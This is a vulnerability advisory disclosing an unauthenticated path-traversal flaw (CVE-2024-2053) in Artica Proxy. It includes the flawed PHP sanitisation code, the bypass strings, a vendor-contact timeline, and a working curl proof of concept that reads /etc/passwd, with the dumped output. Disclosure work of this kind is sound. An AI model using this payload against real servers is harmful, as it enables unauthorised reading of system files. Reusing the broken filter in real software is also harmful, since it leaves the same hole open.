KL-001-2024-001: Artica Proxy Unauthenticated LFI Protection Bypass Vulnerability
Title: Artica Proxy Unauthenticated LFI Protection Bypass Vulnerability
Advisory ID: KL-001-2024-001
Publication Date: 2024.03.05
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-001.txt
1. Vulnerability Details
      Affected Vendor: Artica
      Affected Product: Artica Proxy
      Affected Version: 4.40 and 4.50
      Platform: Debian 10 LTS
      CWE Classification: CWE-23: Relative Path Traversal
      CVE ID: CVE-2024-2053
2. Vulnerability Description
      The Artica Proxy administrative web application attempts to
      prevent local file inclusion. These protections can be bypassed
      and arbitrary file requests supplied by unauthenticated
      users will be returned according to the privileges of the
      "www-data" user.
3. Technical Description
      Prior to authentication, a user can send an HTTP request to
      the "images.listener.php" endpoint. This endpoint processes
      the "mailattach" query parameter and concatonates the user
      supplied value to the "/opt/artica/share/www/attachments/"
      file path. The contents of the file located at the newly
      created path is returned in the HTTP response body.
      The "images.listener.php" endpoint attempts to prevent
      a local file inclusion vulnerability by stripping strings
      that attempt to traverse into the parent directory from
      the user supplied "mailattach" value:
$_GET["mailattach"]=str_replace("////","/",$_GET["mailattach"]);
$_GET["mailattach"]=str_replace("///","/",$_GET["mailattach"]);
$_GET["mailattach"]=str_replace("//","/",$_GET["mailattach"]);
$_GET["mailattach"]=str_replace("../","",$_GET["mailattach"]);
$_GET["mailattach"]=str_replace("/etc/","",$_GET["mailattach"]);
$_GET["mailattach"]=str_replace("passwd","",$_GET["mailattach"]);
$file="/opt/artica/share/www/attachments/{$_GET["mailattach"]}";
        header("Content-type: application/force-download" );
        header("Content-Disposition: attachment; \
                filename=\"{$_GET["mailattach"]}\"");
        header("Content-Length: ".filesize($file)."" );
        header("Expires: 0" );
        readfile($file);
      If effective, this approach would limit files
      accessible by this endpoint to those within the
      "/opt/artica/share/www/attachments/" directory. Unfortunately,
      the removal of the "../" string is only performed once, so
      the resulting file path is not checked.  By using the path
      "..././foo.txt", the "images.listener.php" endpoint removes the
      "../" string resulting in "../foo.txt" - a relative file path
      to traverse to the parent directory.
      The strings "/etc/" and "passwd" are also stripped from the file
      path as many methods of detecting a path traversal vulnerability
      rely on fetching the "/etc/passwd" file. By inserting these
      strings into specific locations, a user suppplied "mailattach"
      value such as "/epasswdtc/ppasswdasswd" is transformed into
      "/etc/passwd", bypassing the protection entirely.
      An unauthenticated user can leverage this endpoint to read
      files on the system, according to the privileges of the
      "www-data" user.
4. Mitigation and Remediation Recommendation
      No response from vendor; no remediation available.
5. Credit
      This vulnerability was discovered by Jaggar Henry of KoreLogic,
      Inc.
6. Disclosure Timeline
      2023.12.18 - KoreLogic requests vulnerability contact and
                   secure communication method from Artica.
      2023.12.18 - Artica Support issues automated ticket #1703011342
                   promising follow-up from a human.
      2024.01.10 - KoreLogic again requests vulnerability contact and
                   secure communication method from Artica.
      2024.01.10 - KoreLogic mail daemon receives SMTP 554 5.7.1 from
                   mail.articatech.com with response
                   "Client host rejected: Go Away!"
      2024.01.11 - KoreLogic requests vulnerability contact and
                   secure communication method via
                   https://www.articatech.com/ 'Contact Us' web form.
      2024.01.23 - KoreLogic requests CVE from MITRE.
      2024.01.23 - MITRE issues automated ticket #1591692 promising
                   follow-up from a human.
      2024.02.01 - 30 business days have elapsed since KoreLogic
                   attempted to contact the vendor.
      2024.02.06 - KoreLogic requests update on CVE from MITRE.
      2024.02.15 - KoreLogic requests update on CVE from MITRE.
      2024.02.22 - KoreLogic reaches out to alternate CNA for
                   CVE identifiers.
      2024.02.26 - 45 business days have elapsed since KoreLogic
                   attempted to contact the vendor.
      2024.02.29 - Vulnerability details presented to AHA!
                   (takeonme.org) by proxy.
      2024.03.01 - AHA! issues CVE-2024-2053 to track this
                   vulnerability.
      2024.03.05 - KoreLogic public disclosure.
7. Proof of Concept
      $ curl -k 
'https://192.168.2.129:9000/images.listener.php?uri=1&mailattach=..././..././..././..././..././epasswdtc/ppasswdasswd'
      root:x:0:0:root:/root:/bin/bash
      daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
      bin:x:2:2:bin:/bin:/usr/sbin/nologin
      sys:x:3:3:sys:/dev:/usr/sbin/nologin
      sync:x:4:65534:sync:/bin:/bin/sync
      games:x:5:60:games:/usr/games:/usr/sbin/nologin
      man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
      lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
      mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
      news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
      uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
      proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
      www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
      backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
      list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
      irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
      gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
      nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
      _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
      systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
      systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
      systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
      messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
      mysql:x:105:112:MySQL Server,,,:/nonexistent:/bin/false
      quagga:x:106:114:Quagga routing suite,,,:/run/quagga/:/usr/sbin/nologin
      apt-mirror:x:107:115::/var/spool/apt-mirror:/bin/sh
      privoxy:x:108:65534::/etc/privoxy:/usr/sbin/nologin
      ntp:x:109:117::/nonexistent:/usr/sbin/nologin
      redsocks:x:110:118::/var/run/redsocks:/usr/sbin/nologin
      prads:x:111:120::/home/prads:/usr/sbin/nologin
      freerad:x:112:121::/etc/freeradius:/usr/sbin/nologin
      vnstat:x:113:122:vnstat daemon,,,:/var/lib/vnstat:/usr/sbin/nologin
      stunnel4:x:114:123::/var/run/stunnel4:/usr/sbin/nologin
      sshd:x:115:65534::/run/sshd:/usr/sbin/nologin
      vde2-net:x:116:124::/var/run/vde2:/usr/sbin/nologin
      memcache:x:117:125:Memcached,,,:/nonexistent:/bin/false
      davfs2:x:118:126::/var/cache/davfs2:/usr/sbin/nologin
      ziproxy:x:119:127::/var/run/ziproxy:/usr/sbin/nologin
      proftpd:x:120:65534::/run/proftpd:/usr/sbin/nologin
      ftp:x:121:65534::/srv/ftp:/usr/sbin/nologin
      mosquitto:x:122:128::/var/lib/mosquitto:/usr/sbin/nologin
      openldap:x:123:129:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false
      munin:x:124:130:munin application user,,,:/var/lib/munin:/usr/sbin/nologin
      msmtp:x:125:131::/var/lib/msmtp:/usr/sbin/nologin
      Debian-snmp:x:126:132::/var/lib/snmp:/bin/false
      opendkim:x:127:133::/var/run/opendkim:/usr/sbin/nologin
      avahi:x:128:134:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
      glances:x:129:135::/var/lib/glances:/usr/sbin/nologin
ArticaStats:x:1000:1000:ArticaStats:/home/ArticaStats:/bin/bash
      Debian-exim:x:130:138::/var/spool/exim4:/usr/sbin/nologin
      smokeping:x:131:139:SmokePing daemon,,,:/var/lib/smokeping:/usr/sbin/nologin
      debian-spamd:x:132:140::/var/lib/spamassassin:/bin/sh
      netdata:x:1001:1002:netdata:/home/netdata:/bin/bash
      postfix:x:1002:1001::/home/postfix:/bin/sh
      ...
      ...
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